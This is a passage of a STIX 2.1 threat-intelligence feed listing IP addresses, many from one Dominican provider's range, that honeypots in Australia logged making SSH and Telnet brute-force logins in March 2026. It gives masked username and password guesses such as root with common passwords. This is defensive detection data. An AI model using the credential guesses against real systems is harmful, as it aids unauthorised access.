      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****5.",
      "id": "indicator--f4289b1a-4e0c-4d22-bc41-06a82ed8e7ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): a*******6.",
      "id": "indicator--02fb24bb-39a6-41f7-8181-85f682ec8674",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****0, t***k.",
      "id": "indicator--76f15525-b1e3-48f3-be0e-31ee87a7e1cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): s****n.",
      "id": "indicator--4d07c433-8382-4de9-aaeb-4c428f4b8bc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): o****y.",
      "id": "indicator--0c2345b5-c683-4add-96cf-ed5195a94de4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): ***.",
      "id": "indicator--93edb1aa-1cbb-4c28-a07a-f198265ed87c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 0****6, 1****3, p****e.",
      "id": "indicator--908500f3-721a-4da0-971c-da2703cc0ae2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): b*****e. Passwords observed (masked): b*****e.",
      "id": "indicator--82795620-8584-4d4c-81a5-78b07d61e7ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.23.252.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): 3**********4, c***d, ***, r**t, ***. Passwords observed (masked): ***, 3***********4, 3**********4, 1**4, D*****!.",
      "id": "indicator--6cd94cae-5408-48d2-8f98-184fa69c70d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.243.239.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T23:15:13.000Z",
      "valid_until": "2026-04-11T23:15:11.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): **, r**t, 3**********4, a****d, c***d. Passwords observed (masked): ***, 1**4, 1***5, 3***********4, 3**********4.",
      "id": "indicator--cbb5b9ab-70a2-4a5c-a693-8600db3c1bf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.134.154.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, a****d, c***d, **. Passwords observed (masked): ***, 1**4, 1***5, 3***********4, 3**********4.",
      "id": "indicator--8e565030-18f1-48d1-9721-d0ca42e2b3ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.174.115.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): ***, 3**********4, a*******r, c***d, r**t. Passwords observed (masked): ***, *, 3***********4, 3**********4, U******!.",
      "id": "indicator--c823df07-d11c-4a6f-b64d-a5f7800465a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.186.0.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 134788. Organisation(s): Parasat Cable TV, Inc. Usernames observed (masked): j**a, r**t, 3**********4, a****d, c***d. Passwords observed (masked): ***, 1**4, 1***5, 3***********4, 3**********4.",
      "id": "indicator--1364bf05-731c-4f82-8d72-8b7b1711a92e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.62.152.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--2fdb2deb-1bba-4269-b7c1-034a25cb559d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.207.42.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--e659e835-0a3d-4fec-becb-0fc95f5767b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.207.135.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u. Passwords observed (masked): q******4.",
      "id": "indicator--c124d1c3-6548-4ea0-98d2-7c6edb66e634",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.198.236.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, ***. Passwords observed (masked): ***, ***.",
      "id": "indicator--c50acb34-c4e9-4db2-b972-0624404eebe1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.92.66.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--83d063de-c020-4df5-87f3-93cd4ab64ab2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '174.138.13.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262820. Organisation(s): OnLine Assis Telecomunicacoes Ltda-EPP.",
      "id": "indicator--97e771d3-eebb-4e3e-9f2e-6de909e6f6da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.251.2.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, a***n, a****1, a**********m, c***o. Passwords observed (masked): a***n, r**t, 0***0, 0****0, 1**4.",
      "id": "indicator--6b5586b0-e5ab-49d5-84b9-652253307f0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.144.140.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): j****k, 3**********4, a******k, c***d, d****l. Passwords observed (masked): 1**4, p******d, 1****6, 1******8, 3***********4.",
      "id": "indicator--ec7e353c-6e7e-41aa-b3f8-8dbfbd4cedda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.49.0.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--f9b663e8-99d6-4ec7-8404-99f72b125ef3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.255.27.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 218. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24186. Organisation(s): RailTel Corporation of India Ltd.",
      "id": "indicator--48dc9cf3-e27f-46b4-b650-16002ab44cba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.0.217.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 15169. Organisation(s): Google LLC.",
      "id": "indicator--1da06069-e4e2-49eb-8076-a53f406bccb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.216.254.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****4.",
      "id": "indicator--39e5a89c-98c0-457c-b892-76026f4b827f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2***0.",
      "id": "indicator--cab0e3da-9631-4205-948a-2ec7f2200fc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): i***m, i****t, m*****s, r****e.",
      "id": "indicator--70940dc7-1703-41ee-bd47-049cb212c014",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): a****1, r****n.",
      "id": "indicator--26785e08-45a1-4cff-bf16-5fad36cc0ccf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): j*******1.",
      "id": "indicator--9304ba6e-1bce-4d91-8f89-65e3046c0e94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): M*****E, a****1, l******e, m******1.",
      "id": "indicator--c143fab9-4583-4b51-897c-af515e11fa4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a*******d.",
      "id": "indicator--e3b8aff3-aba3-43ab-9029-97e70107335e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): 2****4, a****a.",
      "id": "indicator--801c6b79-980a-41f2-8dfc-f2e6cb42be73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): d******e.",
      "id": "indicator--b626f2d9-28d3-47b8-b855-fcadb0fa3319",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 273113. Organisation(s): ONERED JWG532 SRL. Usernames observed (masked): r**t. Passwords observed (masked): s******a.",
      "id": "indicator--f340a214-847a-4902-947e-547f8e0c303d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T00:15:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.188.160.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T00:15:21.000Z",
      "valid_until": "2026-04-12T00:15:12.000Z"
    },
    {
      "created": "2026-03-11T00:15:21.000Z",
